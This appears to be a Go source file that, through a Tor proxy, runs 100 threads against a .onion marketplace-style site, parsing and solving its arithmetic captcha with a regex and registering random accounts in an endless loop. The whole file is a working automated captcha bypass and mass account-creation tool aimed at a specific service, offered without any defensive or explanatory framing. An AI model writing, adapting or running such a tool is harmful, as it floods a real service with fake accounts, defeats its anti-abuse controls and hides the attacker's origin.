105 lines
2.4 KiB
Go
105 lines
2.4 KiB
Go
package main
|
|
|
|
import (
|
|
"bytes"
|
|
"context"
|
|
"crypto/rand"
|
|
"encoding/hex"
|
|
"fmt"
|
|
"io/ioutil"
|
|
"net"
|
|
"net/http"
|
|
"net/url"
|
|
"regexp"
|
|
"strconv"
|
|
"sync/atomic"
|
|
"time"
|
|
|
|
"github.com/PuerkitoBio/goquery"
|
|
"golang.org/x/net/proxy"
|
|
)
|
|
|
|
const (
|
|
torProxyAddr = "127.0.0.1:9050"
|
|
byteRoadURL = "http://557hzs2x3bkzn7mtojx65a3umk7gne6gmaudpft5plijaed4q6u4uuid.onion"
|
|
nbThreads = 100
|
|
)
|
|
|
|
var success uint32
|
|
|
|
// Get http client that uses tor proxy
|
|
func getHttpClient() *http.Client {
|
|
dialer, err := proxy.SOCKS5("tcp", torProxyAddr, nil, proxy.Direct)
|
|
if err != nil {
|
|
panic("failed to connect to tor proxy : " + err.Error())
|
|
}
|
|
transport := &http.Transport{
|
|
DialContext: func(ctx context.Context, network, addr string) (net.Conn, error) {
|
|
return dialer.Dial(network, addr)
|
|
},
|
|
}
|
|
return &http.Client{Transport: transport}
|
|
}
|
|
|
|
func generateToken() string {
|
|
b := make([]byte, 12)
|
|
_, _ = rand.Read(b)
|
|
return hex.EncodeToString(b)
|
|
}
|
|
|
|
func work(c *http.Client) {
|
|
for {
|
|
resp, err := c.Get(byteRoadURL + "/registration")
|
|
if err != nil {
|
|
fmt.Println("1", err.Error())
|
|
time.Sleep(time.Second)
|
|
continue
|
|
}
|
|
by, _ := ioutil.ReadAll(resp.Body)
|
|
doc, _ := goquery.NewDocumentFromReader(bytes.NewReader(by))
|
|
s := doc.Find("h4")
|
|
rgx := regexp.MustCompile(`(\d+) \+ (\d+)`)
|
|
m := rgx.FindStringSubmatch(s.First().Text())
|
|
if len(m) != 3 {
|
|
fmt.Println("did not find math expression")
|
|
time.Sleep(time.Second)
|
|
continue
|
|
}
|
|
num1, _ := strconv.Atoi(m[1])
|
|
num2, _ := strconv.Atoi(m[2])
|
|
ans := num1 + num2
|
|
username := generateToken()
|
|
password := generateToken()
|
|
if _, err = c.PostForm(byteRoadURL+"/captcha", url.Values{"captcha": {strconv.Itoa(ans)}}); err != nil {
|
|
fmt.Println("2", err.Error())
|
|
time.Sleep(time.Second)
|
|
continue
|
|
}
|
|
resp, err = c.PostForm(byteRoadURL+"/register", url.Values{"username": {username}, "password": {password}})
|
|
if err != nil {
|
|
fmt.Println("3", err.Error())
|
|
time.Sleep(time.Second)
|
|
continue
|
|
}
|
|
by, _ = ioutil.ReadAll(resp.Body)
|
|
if bytes.Contains(by, []byte("Your have been registered!")) {
|
|
newSuccess := atomic.AddUint32(&success, 1)
|
|
if newSuccess%10 == 0 {
|
|
fmt.Printf("accounts created : %d\n", newSuccess)
|
|
}
|
|
} else {
|
|
fmt.Println("failed to create account")
|
|
}
|
|
}
|
|
}
|
|
|
|
func main() {
|
|
c := getHttpClient()
|
|
for i := 0; i < nbThreads; i++ {
|
|
go work(c)
|
|
}
|
|
fmt.Printf("Done spawning %d threads\n", nbThreads)
|
|
never := make(chan struct{})
|
|
<-never
|
|
}
|